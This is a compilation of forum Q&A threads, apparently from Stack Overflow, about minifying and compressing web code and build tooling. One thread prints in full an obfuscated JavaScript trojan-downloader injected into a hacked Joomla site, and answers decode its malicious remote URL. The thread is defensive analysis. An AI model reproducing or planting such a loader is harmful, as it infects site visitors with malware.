Recently I noticed that the source code of Google pages became really small. It's literally compressed to less than 20 lines (search result for "stackoverflow").
My assumption is that Google Developers would not do this manually.
How to do this automatically? And if possible something that would work on sharing hosting accounts (both Apache and Win IIS).
Thank you.
EDIT
Just to clarify. I want to figure out how to install some plugin on the server, which will minify code (HTML, CSS, JS) automatically. In other words, I don't want to copy code into some compression algorithms and paste the result...
For PageSpeed (mod_pagespeed) to work, one will need a dedicated hosting or at least VPS to install it. Is there anything one can do for sharing hosting accounts?
There are minifiers and packers for JavaScript already out. Check out Dean Edward's packer.
Be careful when removing whitespace from HTML - namely <pre> elements and elements with white-space: pre. Removing extra whitespace from these element's textnodes can ruin the intended display.
SmartOptimizer (php library) or PHP Speedy (php script) should satisfy your needs.
Take a look at Google Page Speed to get you started.
Compressing javascript: YUICompressor
Related
I need a tool which can minify, optimize and munge many files of those possible types
HTML (minify only)
JavaScript (minify, optimize and munge)
CSS (minify)
The final result should be one HTML file only with all JavaScript and CSS embedded or in the worst scenario 3 files respectively for HTML, JS, and CSS.
I am aware of tools like YUI Compressor etc. What I currently have not found is the type of compressor which will work on all those file types and merge them in one huge file only.
If you're not using gzip yet, start using it already and we can close this thing out ;)
My suggestion would be to put all of the JavaScrpt inside a <script> in the header, and put all of the CSS in a <style> tag as well. Then optimize to the best of your ability and then minimize it on your own. No software will ever be able to handle every case. If you are trying to minimize the file size then just remove the newlines and non-necessary spaces.
I also found this, which should work on your file with all 3 in it.
Also be aware that if you start removing optional tags you could run into some problems. Some browsers don't cooperate as well as they are supposed to.
Gad, consider the drawbacks to minifying CSS. If you don't have a system where you edit normal/minify/ then deploy it can make later editing of CSS rather dicey.
I went through this whole argument on a big UI refresh project for an international bank. One site in particular was doing 1million+ visitors/day and bandwidth numbers were insane despite all our efforts to keep it minimal (every little bit adds up on a site that heavily trafficked) Upon business analysis by a large team of very talented minds, it was determined that we would take several steps, but NOT css minifying due to the added time it would take engineers to undo the minifying before fixing, minifying and redeploying for simple CSS tweaks. The numbers showed that even with a 5gb/day bandwidth improvement, it was still cheaper to not pay a UI engineer for the extra time.
We don't know your site's specifics, but there aren't terribly many that have to worry about the traffic my example uses. Run your site in Firebug's new speed analyzer and see what the real benefit could be from minifying.....now multiply that by your traffic. Usually, that number isn't too scary. Spend your time doing image sprites, combining css and js into respective files (better than mashing into individual php files due to caching benefits) to limit http requests, and ensuring that caching is properly setup. Run gzip compression. If after those steps you're not good, then take the site to a new level.
Keep it simple....it makes a huge difference in the update and maintenance portions of the site's lifecycle. With the time and headache saved, you can help us out with our questions :)
As far as I know there isn't such a tool. If you use PHP on the server side, however, you can try PHP Speedy (not actively developed, but works) or Minify for automated minification, caching and gzipping (HTML, CSS, JS).
edit: kangax's HTML minifier (as Badger suggested) only does HTML minification.
you can use jsCompressor to compress and minify multiple JavaScript files and CSS Compressor to compress/minify multiple Css files into one file.
and to optimize your HTML files you may send post request of your code to Google Clouser server which sends response with optimized Html code.
http://prettydiff.com/?m=minify will do exactly what you need, except that it only minify JavaScript and not obfuscate it.
I suggest you look at the build script that's included in the html5 Boilerplate: http://html5boilerplate.com/. With some minimal tweaking it'll do what you're looking to do.
My Joomla! website has been repeatedly hacked into. Someone, somehow, managed to inject the following rubbish into the key php scripts, but I mean not to talk about configuring Joomla. The site is not visited much (at times I fear I might be the only visitor to that site...) and I don't care much to have the site back up and running. I'll handle that eventually.
My question is, how does this rubbish work? I look at it and I just don't see how does this manage to do any harm? What it does is it tries to download a PDF file called ChangeLog.pdf, which is infected with a trojan and after opening will freeze up your Acrobat and wreak havoc on your machine. How does it do that, I don't know, I don't care. But how does the following piece of script invoke the download?
<script>/*Exception*/ document.write('<script src='+'h#^(t#)((t$&#p#:)&/!$/)#d$y#^#$n#$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^#g))!a#m##$e&$s^##!t##($!o#$p(.&#c&)#(o$m)).!$m$)y#(b#e()s&$t$#y&o$&(u#)$x&&^(i)-#^c!!&n$#.(#g)$e#(^n&!u(i&#&n(e&(!h&o#&^&l^$(l)&y$(##w!o#!((o#d&^.^#)r$#^u!!$:(##&8#)(0$8#&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c#o!&^m#&/&(s&$(o!f&!t#&o!!n)&i$&c!.#^^c)!$o##((m##/$^!g#^o$^&o&#g!l)###!e&.))c!)(o###^!m(&/^^l#^#i##(v&#e&)!$j^!a#$s#m!i)n$.!$c&$o)#$m^/#$v&i^d^()e(!o&&s#(z(#)^.#)c$&o^m)$)^/#$'.replace(/#|\$|#|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET has detected this code as JS/TrojanDownloader.Agent.NRO trojan
Notice the replace call after the giant messy string: .replace(/#|\$|#|\^|&|\(|\)|\!/ig, '').
It removes most of the special characters, turning it into a normal URL:
evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
(I manually changed http: to evil:)
Note that the regex could have been simplified to .replace(/[#$#^&()!]/ig, '')
If you look at the script, you'll see that it's a very simple script that injects a hidden IFRAME containing the path /index.php?ys from the same domain.
I requested that page in Fiddler, and it had no content.
These answers might help you understand the nature of the malicious JavaScript code but what you should be looking for is a way to close the loophole inherant in the Joomla engine. Pre-packaged frameworks are prone to loopholes, either intentional or unintentional, especially when you take into consideration that they are engineered to work on unix, mac and windows environments.
My work requires I run many domains, applications and frameworks on many types of servers and systems for clients and myself. Over time I've seen more and more bots crawling these systems looking for known loopholes/entrances by-way of back-door entrances created by those frameworks. Good thing when I use any type of framework, which I seldom do, I make sure to rename most if not the entire file structure to rid myself of those pesky loopholes/back-doors. At the very least you can rename directories which will throw off most bots, but my way is to completely eliminate references that give clues as to the nature of the framework, which includes renaming of the entire file structure not just directories. Always keep a map of the new naming conventions relative to the old naming conventions in order to make adding plug-ins to your base framework a snap. Once you get the hang of this you can go as far as programatically renaming the entire framework filestructure for quicker results, this is especially useful when having to deal with clients needing to be able to update their framework with plug-ins and the like.
It just does a regex replace on the script url to give you
NOTE: DO NOT FOLLOW THE BELOW LINK (inserted ** to deter the copy-pasters)
http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
as the src
It uses the replace function to replace the rubbish chars using regex, nothing wrong with the code:
........replace(/#|\$|#|\^|&|\(|\)|\!/ig, '')
Its load script from
h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/
And that script load iframe from with visibility hidden
h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
When you read the whole thing, you find that it is a string followed by a replace command.
My two cents. Have you / can you install a Joomla backup tool such as Joomlapack?
I've set it to run via a CHRON script to keep the goods handy in case the muggers get to mugging.
What version of Joomla are you running?
1.0.X versions aren't being updated any longer, and it's age is really starting to show. You owe it to yourself to do a backup and plan to upgrade to 1.5 and anticipate the wonders of 1.6
Is there is way to compress JavaScript code?
e.g.
function test(){
// some code here
}
after compression it should be
function test(){//some code here}
Also, I need vise versa at the time of editing the code.
You can use a javascript minifier.
YUI Compressor
JS Minifier
jsCompress
There are a number of tools available that can reduce the download size of your javascript, improving first-load performance. The general technique of making syntactic changes to your javascript, without changing its structure, is called minification; and the tools are minifiers. I know Google has an excellent tool, as does Yahoo - there are probably others as well. Check the other responses here for links.
For more resources, try this search:
http://www.bing.com/search?q=javascript+minify
Some other things to keep in mind when optimizing your javascript:
You'll want an option to download non-minified javascript, at least on your test site - debugging minified javascript is a major pain.
Configure your web server to also compress (gzip) your javascript if the client includes the appropriate 'accept' header in their request.
Make sure you configure our cache settings for your javascript so that browsers can use their locally cached version without even sending a server request, if the file is already previously downloaded.
Minified Javascript
http://www.google.com/#hl=en&q=minified+javascript&fp=64df356c6a3f8304
http://www.minifyjavascript.com/
http://developer.yahoo.com/yui/compressor/
Good answers, for jquery you have a compressed version, remove the comments in the header to save some octets.
For your own files, use the YUI compressor, i think it's the best.
I would add if you want to save some time, you can also put all your Javascripts files in one, so you will save some precious time with http request (only for production though).
There is already a compressed version of jQuery for you to use. For js you write yourself any of the other tools mentioned will work, I use YUI myself.
A good way to optimize your site is to include one javascript file for all. An article that explains the process of Javascript Bootstrapping can be found here.
Once you use the available compressors above, you should implement this so that your site run quicker.Hopefully this will help.
Use JSMIn its the best.
Do you have a step in your deployment process that minifies JS? Do you have any sort of preprocessor for your JavaScript that allows you to leave in comments and console.logs and then have them automatically stripped out? Is your JavaScript machine generated by GWT or Script#? Do you use ANT or another tool to automate deployment?
I see a lot of JavaScript that looks like it comes right out of the editor, complete with lots of white space and comments. How much of that is due to not caring about the state of the deployed code, and how much is due to the spirit of the open web?
I usually check it out with JSLint to make sure it is bug-free, then pack it/encode it with YUI compressor.
My steps include:
I write Javascript using TextMate with the Javascript Tools bundle installed. This JSLint's my files on every save and notifies me when errors occur.
I use Sprockets to automatically concatenate my various Javascript files.
I run the resulting concatenation through jsmin to generate a minified version.
I end up with a concatenated lib.js file and a minified lib.min.js file. One I use for development, one for production. TextMate commands help automate it all.
I'm still looking for a good solution to actually (unit) test my scripts.
Check out YUI Compressor its a console app that you can use to minify (strip out comments, whitespace etc..) and also obfuscate your javascript files.
JSMin it from Douglas Crockford. We've got it hooked up as a macro in Studio as well as a post build item for some of our larger projects
FWIW, here's an interesting mini-benchmark on various ways you can minimize your Javascript source:
http://www.ericmmartin.com/comparison-of-javascript-compression-methods/
In short:
gzip compression in HTTP protocol really makes a difference (although you need to pay a CPU cost at the server side)
minification (removal of whitespace/comments, change of variable names etc.) also helps, and if you want best result, use it together with gzip compression
js-based decompressors are most likely useless - while you might get smaller size, the CPU overhead on the client is significant.
For one of our products, we concatenate all Javascript files together (most files are used on most pages, so this makes sense for us) and use Javascript::Minifier. This has given us a pretty nice speed boost.
A lot of it is probably due to not caring about people that might be viewing your pages on slower machines with slower connections and assuming that everyone has a 50Mbps line and three Gigs of RAM.
We are minifying our (hand-written + plugins, jQuery, etc.) JS as a part of the build process in .NET environment. No preprocessor, this is something we should definitely be doing once time permits.
P.S. By the way, we're not using console.log, as this will break IE. Instead we have a simple wrapper function, something like:
function log(stuff) {
if (window.console && window.console.log) {
console.log(stuff);
}
};
I have a PHP script that does it on the server side and keeps a cache of whatever it pulls from the source folder(s).
One word- packer
Light a candle, whisper a prayer against IE6 errors, and click "go". Does that count? :)
I don't minify my own javascript code since text tends to gzip/compress well.
I would minify a very large (say > 100 kb) javascript library (but then again I probably would not want to be using such a large library (or just ship what i use)).
I tend to believe that a lot of the javascript-minification is (in reality) done to achieve some sort of (futile) obfuscation of javascript code instead of the proclaimed end-user performance gain.
There's also a .NET port of YUI Compressor which allows you to:-
intergrate the minification/file combining into Visual Studio post-build events
intergrate into a TFS Build (including CI)
if you wish to just use the dll's in your own code (eg. on the fly minification).
I thought I would share my approach to js deployments. Have a look at this blog post:
http://www.picnet.com.au/blogs/Guido/post/2009/12/10/Javascript-runtime-compilation-using-AspNet-and-Googles-Closure-Compiler.aspx
This also includes code to compile (using google's closure compiler) at runtime (when needed).
Thanks Guido
I am doing speed optimization for my website application. And I found some practises to do that.
For example Best Practices for Speeding Up Your Web Site from Yahoo.
Among them are:
Minify JavaScript and CSS.
Minimize number of HTTP Requests by combining several files (css, js) into one.
My question is what infrastructure, tools and building process you use or can recommend to perform that?
According to the JavaScript Compression Rater, the most efficient tool is the YUI Compressor or JSMin.
You can use YUI Compressor.
It can compress JavaScript as well as CSS. Just run it for all your files, then concatenate them into one 'package' file. You can either do that manually, write a Makefile or use some script to compress "just-in-time" on web request, although you might want to cache the resulting file.
The Yahoo tips are excellent. I use gomez to test the results of optimization efforts. Minification is a good step. I've found bigger impacts can usually be made by adjusting the way pages are put together (particularly in reducing how much images get cut up into little pieces to reduce the number of requests). Anyway, this yahoo blog gives a pretty good rundown of minification tools. I typically stay away from obfuscation unless there's a compelling reason beyond the relatively small performance kick. The actual steps to install and use a minification tool are relatively straightforward.
Or you could just configure your HTTP server to GZIP compress all text documents.
I do ASP.NET, so I use CruiseControl.NET with NAnt for my build process. A part of this build process is compressing with YUICompressor which in my experience is the best compressor out there.
If you don't do ASP.NET, theres still the original CruiseControl with Ant that you can use in the same capacity.
The reason I find this a superior set up is because a) all the tedious stuff is automated and b) if you're testing on your own machine you dont have to debug a single super long string of JS :)
I've integrated minification to my deployment process. I do it in perl with packages JavaScript::Minifier and CSS::Minifier.
During my development, I want to keep the script expanded. I put some comments in my HTML so that my script knows which files to put togetheer and minify:
<!--- MinifyJS[js/minified-1.js] -->
<script src="..."></script>
<script src="..."></script>
<!-- end[js/minified-1.js] -->
<!--- MinifyCSS[css/minified-1.css] -->
<link ...>
A couple of regular expression, and I quickly get a "production" version with minified files.
I wrote my own custom manager for this. It uses google's closure compiler and compresses files only when needed in release mode. Check it out:
http://www.picnet.com.au/blogs/Guido/post/2009/12/10/Javascript-runtime-compilation-using-AspNet-and-Googles-Closure-Compiler.aspx
Thanks
Guido Tapia
Big fan of Dean Edwards /packer/ myself - comes in a variety of flavours.
By following yahoo blog link I've found one real solution - "Make your pages load faster by combining and compressing javascript and css files" by Niels Leenheer.
For compressing everything before uploading it to web, this program is great both for CSS/JS/HTML:
http://www.w3compiler.com/
It's even possible to select areas not to compress, as it's not all MVC codes in your markup that supports getting compressed.
And it saves backup files each time it compress your files, so you can easily decompress it with just a click.
I've found Minify most useful for my PHP projects. Very easy to use, just saves time configuring minimization, compression and caching of CSS and JS files manually. Also has a neat grouping feature.
Some notes about YUI Compressor
YUI Compressor generates without line breaks at all while Minify has some.
Be careful if you have escaped strings. I've found out that YUI Compressor unescapes them. So strings like "\'" become "'".